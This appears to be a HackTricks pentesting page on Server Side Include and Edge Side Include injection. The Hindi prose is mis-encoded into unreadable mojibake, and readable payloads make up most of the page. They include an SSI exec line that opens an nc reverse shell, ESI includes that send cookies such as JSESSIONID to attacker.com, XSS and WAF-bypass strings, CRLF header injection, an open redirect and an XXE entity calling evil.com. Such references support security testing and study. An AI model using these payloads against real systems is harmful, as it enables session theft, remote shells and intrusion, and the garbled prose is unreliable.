17 KiB
Server Side Inclusion/Edge Side Inclusion Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Server Side Inclusion Basic Information
(Introduction taken from Apache docs)
SSI (Server Side Includes) рдРрд╕реЗ рдирд┐рд░реНрджреЗрд╢ рд╣реИрдВ рдЬреЛ HTML рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рдореВрд▓реНрдпрд╛рдВрдХрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рдкрд░реЛрд╕рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИред рдпреЗ рдЖрдкрдХреЛ рдПрдХ рдореМрдЬреВрджрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рд╛рдордЧреНрд░реА рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдмрд┐рдирд╛ рдкреВрд░реЗ рдкреГрд╖реНрда рдХреЛ CGI рдкреНрд░реЛрдЧреНрд░рд╛рдо рдпрд╛ рдЕрдиреНрдп рдЧрддрд┐рд╢реАрд▓ рддрдХрдиреАрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд░реЛрд╕рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ рдореМрдЬреВрджрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдПрдХ рдирд┐рд░реНрджреЗрд╢ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ:
<!--#echo var="DATE_LOCAL" -->
рдФрд░, рдЬрдм рдкреГрд╖реНрда рдкрд░реЛрд╕рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЕрдВрд╢ рдореВрд▓реНрдпрд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЗрд╕рдХреЗ рдорд╛рди рд╕реЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:
Tuesday, 15-Jan-2013 19:28:54 EST
SSI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдм рдХрд░рдирд╛ рд╣реИ, рдФрд░ рдХрдм рдЖрдкрдХреЗ рдкреГрд╖реНрда рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╣реИ, рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЗрд╕ рдмрд╛рдд рдХрд╛ рдорд╛рдорд▓рд╛ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдкреГрд╖реНрда рдХрд╛ рдХрд┐рддрдирд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╕реНрдерд┐рд░ рд╣реИ, рдФрд░ рдХрд┐рддрдирд╛ рд╣рд░ рдмрд╛рд░ рдкреГрд╖реНрда рдкрд░реЛрд╕рдиреЗ рдкрд░ рдкреБрдирдГ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред SSI рдЫреЛрдЯреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЯреБрдХрдбрд╝реЗ рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдПрдХ рд╢рд╛рдирджрд╛рд░ рддрд░реАрдХрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╡рд░реНрддрдорд╛рди рд╕рдордп - рдЬреЛ рдКрдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдкрдХреЗ рдкреГрд╖реНрда рдХрд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рднрд╛рдЧ рдЙрд╕ рд╕рдордп рдЙрддреНрдкрдиреНрди рд╣реЛ рд░рд╣рд╛ рд╣реИ рдЬрдм рдЗрд╕реЗ рдкрд░реЛрд╕рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдорд╛рдзрд╛рди рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреА рд╣реЛрдЧреАред
рдЖрдк SSI рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди .shtml
, .shtm
рдпрд╛ .stm
рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдХреЗрд╡рд▓ рдпрд╣реА рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИред
рдПрдХ рд╕рд╛рдорд╛рдиреНрдп SSI рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рд╛рд░реВрдк рд╣реЛрддрд╛ рд╣реИ:
<!--#directive param="value" -->
рдЬрд╛рдВрдЪреЗрдВ
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Edge Side Inclusion
рдПрдХ рд╕рдорд╕реНрдпрд╛ рдЬрд╛рдирдХрд╛рд░реА рдпрд╛ рдЧрддрд┐рд╢реАрд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдХреИрд╢ рдХрд░рдирд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдПрдХ рднрд╛рдЧ рдЕрдЧрд▓реЗ рдмрд╛рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╕рдордп рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ ESI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, ESI рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЧрддрд┐рд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА рдЬреЛ рдЙрддреНрдкрдиреНрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдЙрд╕реЗ рдХреИрд╢ рд╕рдВрд╕реНрдХрд░рдг рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреИрд╢ рд╕рд╛рдордЧреНрд░реА рдХреЗ рдЕрдВрджрд░ рдПрдХ ESI рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рд╡рд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкрд░ рдордирдорд╛рдирд╛ рд╕рд╛рдордЧреНрд░реА рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЗрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдПред
ESI Detection
рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реЗрдбрд░ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ ESI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ:
Surrogate-Control: content="ESI/1.0"
рдпрджрд┐ рдЖрдк рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╕рд░реНрд╡рд░ рд╢рд╛рдпрдж ESI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред
рдПрдХ рдЕрдВрдзреЗ рд╢реЛрд╖рдг рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдкрд╣реБрдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
ESI рд╢реЛрд╖рдг
GoSecure рдиреЗ рд╡рд┐рднрд┐рдиреНрди ESI-рд╕рдХреНрд╖рдо рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдмрдирд╛рдИ рд╣реИ, рдЬреЛ рд╕рдорд░реНрдерд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╣реИ:
- Includes:
<esi:includes>
рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ - Vars:
<esi:vars>
рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред XSS рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА - Cookie: рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреБрдХреАрдЬрд╝ ESI рдЗрдВрдЬрди рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реИрдВ
- Upstream Headers Required: рд╕рд░реЛрдЧреЗрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди ESI рдХрдердиреЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рдЕрдкрд╕реНрдЯреНрд░реАрдо рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реЗрдбрд░ рдкреНрд░рджрд╛рди рди рдХрд░реЗ
- Host Allowlist: рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, ESI рд╢рд╛рдорд┐рд▓ рдХреЗрд╡рд▓ рдЕрдиреБрдордд рд╕рд░реНрд╡рд░ рд╣реЛрд╕реНрдЯ рд╕реЗ рд╕рдВрднрд╡ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ SSRF, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреЗрд╡рд▓ рдЙрди рд╣реЛрд╕реНрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рдВрднрд╡ рд╣реИ
рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Yes | Yes | Yes | Yes | No |
Varnish Cache | Yes | No | No | Yes | Yes |
Fastly | Yes | No | No | No | Yes |
Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
NodeJS esi | Yes | Yes | Yes | No | No |
NodeJS nodesi | Yes | No | No | No | Optional |
XSS
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд ESI рдирд┐рд░реНрджреЗрд╢ рд╕рд░реНрд╡рд░ рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░реЗрдЧрд╛
<esi:include src=http://attacker.com/xss.html>
рдХреНрд▓рд╛рдЗрдВрдЯ XSS рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
рдХреБрдХреА рдЪреБрд░рд╛рдирд╛
- рджреВрд░рд╕реНрде рдХреБрдХреА рдЪреБрд░рд╛рдирд╛
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- HTTP_ONLY рдХреБрдХреА рдХреЛ XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪреБрд░рд╛рдирд╛ рдФрд░ рдЗрд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдХрд░рдирд╛:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Private Local File
рдЗрд╕рдХреЛ "Local File Inclusion" рдХреЗ рд╕рд╛рде рднреНрд░рдорд┐рдд рди рдХрд░реЗрдВ:
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Open Redirect
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ Location
рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдЧрд╛
<!--esi $add_header('Location','http://attacker.com') -->
Add Header
- рдордЬрдмреВрд░ рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдВ
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдВ (XSS рдХреЗ рд╕рд╛рде "Content-Type: text/json" рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
CRLF in Add header (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдбрд┐рдмрдЧ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреЗрдЧрд╛:
<esi:debug/>
ESI + XSLT = XXE
xslt
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд▓рд┐рдП dca рдорд╛рди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ, eXtensible Stylesheet Language Transformations (XSLT)
рдЖрдзрд╛рд░рд┐рдд ESI рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рд╕рдорд╛рд╡реЗрд╢ HTTP рд╕рд░реЛрдЧреЗрдЯ рдХреЛ XML рдФрд░ XSLT рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдмрд╛рдж рд╡рд╛рд▓рд╛ рдкреВрд░реНрд╡ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рддрд╛ рд╣реИред рдРрд╕реА XML рдлрд╝рд╛рдЗрд▓реЗрдВ XML External Entity (XXE) рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдгреАрдп рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ SSRF рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╕реАрдорд┐рдд рд╣реИ рдХреНрдпреЛрдВрдХрд┐ ESI рдкрд╣рд▓реЗ рд╕реЗ рд╣реА SSRF рд╡реЗрдХреНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд Xalan рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореЗрдВ рд╕рдорд░реНрдерди рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг, рдмрд╛рд╣рд░реА DTDs рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдирд┐рдХрд╛рд╕реА рдХреЛ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИред
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLT рдлрд╝рд╛рдЗрд▓:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Check the XSLT page:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
рд╕рдВрджрд░реНрдн
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд▓рд┐рд╕реНрдЯ
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.